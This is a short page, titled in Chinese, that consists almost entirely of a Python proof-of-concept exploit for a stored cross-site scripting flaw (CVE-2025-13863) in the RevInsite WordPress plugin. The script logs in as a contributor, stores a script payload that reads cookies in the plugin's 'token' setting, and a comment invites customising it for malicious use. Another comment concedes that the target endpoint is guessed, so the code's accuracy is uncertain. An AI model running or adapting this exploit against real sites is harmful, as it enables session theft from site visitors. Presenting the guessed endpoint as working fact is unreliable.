CVE-2025-13863 WordPress RevInsite插件存储型XSS漏洞

import requests # CVE-2025-13863 PoC - Stored XSS in RevInsite WordPress Plugin # Target: WordPress site with RevInsite plugin <= 1.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "attacker_password" # XSS payload - can be customized for malicious purposes XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ Exploit the stored XSS vulnerability via the 'token' parameter Requires Contributor-level access to WordPress """ session = requests.Session() # Step 1: Login to WordPress with Contributor account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Inject malicious XSS payload via token parameter # The exact endpoint depends on plugin implementation inject_url = f"{TARGET_URL}/wp-admin/admin.php?page=revinsite-settings" inject_data = { 'token': XSS_PAYLOAD, 'submit': 'Save Changes' } response = session.post(inject_url, data=inject_data) # Step 3: Verify the XSS is stored and executed # Any user visiting the affected page will trigger the payload if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload stored in token parameter") print("[*] Payload will execute when users access the affected page") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_stored_xss()